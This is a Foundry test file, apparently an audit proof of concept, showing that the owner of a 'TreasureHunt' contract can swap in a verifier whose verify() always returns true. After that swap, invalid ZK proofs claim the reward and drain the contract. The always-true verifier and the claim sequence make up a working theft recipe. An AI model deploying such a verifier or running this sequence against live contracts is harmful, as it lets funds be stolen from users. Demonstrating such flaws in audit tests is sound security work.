Run the test: forge test --match-test test_H2_owner_replaced_verifier_enables_theft
pragma solidity ^0.8.27;
import "forge-std/Test.sol";
import {TreasureHunt} from "../src/TreasureHunt.sol";
import {IVerifier} from "../src/Verifier.sol";
contract MaliciousVerifier {
function verify(bytes calldata, bytes32[] calldata) external pure returns (bool) {
return true;
}
}
contract HonestVerifierForDeploy {
function verify(bytes calldata, bytes32[] calldata) external pure returns (bool) {
revert("HonestVerifierForDeploy: only used at deployment");
}
}
contract VerifyH2_OwnerReplacedVerifierEnablesTheft is Test {
TreasureHunt hunt;
MaliciousVerifier maliciousVerifier;
address constant OWNER = address(0x1);
address constant CALLER = address(0x2);
address constant ATTACKER = address(0x3);
address constant VICTIM = address(0x4);
uint256 constant INITIAL_FUNDING = 100 ether;
uint256 constant REWARD = 10 ether;
function setUp() public {
vm.deal(OWNER, INITIAL_FUNDING * 2);
IVerifier honest = IVerifier(address(new HonestVerifierForDeploy()));
vm.prank(OWNER);
hunt = new TreasureHunt{value: INITIAL_FUNDING}(address(honest));
maliciousVerifier = new MaliciousVerifier();
}
function test_H2_owner_replaced_verifier_enables_theft() public {
uint256 attackerBalBefore = ATTACKER.balance;
uint256 contractBalBefore = address(hunt).balance;
vm.prank(OWNER);
hunt.pause();
assertTrue(hunt.isPaused(), "contract should be paused");
vm.prank(OWNER);
hunt.updateVerifier(IVerifier(address(maliciousVerifier)));
assertEq(hunt.getVerifier(), address(maliciousVerifier), "malicious verifier should be set");
vm.prank(OWNER);
hunt.unpause();
assertFalse(hunt.isPaused(), "contract should be unpaused");
bytes memory invalidProof = bytes("this is not a valid ZK proof");
bytes32 fakeTreasureHash = bytes32(uint256(0xABCD));
vm.prank(CALLER);
hunt.claim(invalidProof, fakeTreasureHash, payable(ATTACKER));
uint256 attackerBalAfter = ATTACKER.balance;
uint256 contractBalAfter = address(hunt).balance;
assertEq(attackerBalAfter, attackerBalBefore + REWARD, "attacker should have received REWARD");
assertEq(contractBalAfter, contractBalBefore - REWARD, "contract balance should have decreased by REWARD");
emit log_named_uint("Attacker balance change", attackerBalAfter - attackerBalBefore);
emit log_named_uint("Contract balance change", contractBalBefore - contractBalAfter);
}
function test_H2_owner_enables_attacker_to_steal_via_malicious_verifier() public {
vm.deal(VICTIM, 1 ether);
uint256 victimBalBefore = VICTIM.balance;
uint256 contractBalBefore = address(hunt).balance;
vm.prank(OWNER);
hunt.pause();
vm.prank(OWNER);
hunt.updateVerifier(IVerifier(address(maliciousVerifier)));
vm.prank(OWNER);
hunt.unpause();
bytes memory invalidProof = bytes("totally invalid proof");
bytes32 fakeHash = bytes32(uint256(0xDEAD));
vm.prank(CALLER);
hunt.claim(invalidProof, fakeHash, payable(VICTIM));
assertEq(VICTIM.balance, victimBalBefore + REWARD, "victim should have received stolen REWARD");
assertEq(address(hunt).balance, contractBalBefore - REWARD, "contract should be drained by REWARD");
}
}